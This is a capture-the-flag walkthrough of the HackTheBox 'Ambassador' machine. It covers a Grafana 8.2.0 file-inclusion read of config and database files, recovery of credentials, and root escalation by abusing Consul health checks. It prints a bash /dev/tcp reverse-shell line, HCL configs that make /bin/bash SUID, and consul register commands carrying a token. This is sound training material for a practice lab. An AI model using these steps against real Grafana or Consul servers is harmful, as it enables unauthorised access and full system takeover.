HackTheBox — Ambassador

6 min readJan 28, 2023

Ambassador from hackthebox was medium rated machine which involved exploiting Local File Inclusion in Grafana through which we can view the sqlite database for grafana which will have the base64 encoded password for developer user through which we can login, from /opt directory we can find Consul API token through git commits allowing us to interact with consul’s Services api to gain remote command execution as root.

Nmap scan report for                                                                                
Host is up (0.19s latency).
Not shown: 996 closed tcp ports (reset)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| 256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_ 256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 70
| Capabilities flags: 65535
| Some Capabilities: SupportsCompression, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, LongPassword, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, InteractiveClient, Speaks41ProtocolO
ld, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, LongColumnFlag, Support41Auth, ConnectWithDatabase, ODBCClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins


From port 80 we’ll see a page talking about using developer account to login to SSH

Fuzzing on this site didn’t really returned something

PORT 3000 (Grafana)

On port 3000 there’s an instance of grafana 8.2.0 running


We don’t know the password but we can check for vulnerabilities for version 8.2.0, which turns out to be vulnerable to Local FIle Inclusion

To exploit this we can make a request to public/plugins/plugin-name and then followed by the LFI payload, using a script from github, this is lopping through the plguins to find the plugins which are available and make the request to read any local file you want

We can exploit this manually

Reading /var/lib/grafana/grafana.db will show us the database for grafana having the admin hash

We can read /etc/grafana/grafana.ini which has the admin login password

We can login with the admin user with password we found

But there wasn’t anything from where we could move forward so this was most likely a rabbit hole, following this article to decrypt the password , we can load the sqlite database through sqlite3

This is the password for mysql database for grafana user

From whackywidget database we can find the password for developer user which is in base64 encoding you could tell as at the end there's ==

We can just decode it from base64 and get the plaintext

Having the password we can login through ssh

With sudo -l we can try checking if this user can run anything as root or as other user

Privilege Escalation

Running pspy it was removing the config file of consul which gave away that root must be something to do with it

Going to /opt directory there's a directory named my-app which has .git so we can check the commits which reveals a token

This token belongs to consul through which we can make API calls and this service is running on port 8500

This can be exploited by creating service executing a reverse shell using the token we have found,it can be done in two ways

Method 1

To exploit it manually we have to create a config file for health checks which will execute commands, so we’ll create the config file in /etc/consul.d/config.d , the format of the config file can be in HCL or JSON

We’ll first create a bash script to trigger the reverse shell

/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'

Next creating the health check script

check = {
id = "1"
name = "priuwv-euwsc"
args = ["/bin/bash","/tmp/shell.sh"]
interval = "10s"
timeout = "1s"

Now copying this file /etc/consul.d/config.d/ as we the folder is owned by developer group

cp ./test.hcl /etc/consul.d/config.d/

And we are going to register the health check and reload to check for new service or update

consul services register -token=bb03b43b-1d81-d62b-24b5-39540ee469b5 /etc/consul.d/config.d/test.hcl
consul reload -token=bb03b43b-1d81-d62b-24b5-39540ee469b5

This will give us a shell back as root user but the connection just closes

So we could make bash a SUID instead or could put a ssh in root’s directory, so I went with making SUID

check = {
id = "1"
name = "priuwv-euwsc"
args = ["/usr/bin/chmod","4777","/bin/bash"]
interval = "10s"
timeout = "1s"

Or with +s

check = {
id = "1"
name = "priuwv-euwsc"
args = ["/usr/bin/chmod","+s","/bin/bash"]
interval = "10s"
timeout = "1s"

Again copying it, registering and reloading to check the new scripts

With bash -p we can run bash as the user who owns it which is root

Method 2

I found an exploit for consul on metasploit and in order to use that we would first need to port forward 8500 through chisel so that we can access it

Making sure if we are able to make a request

Now firing up msf and using the exploit exploit/multi/misc/consul_service_exec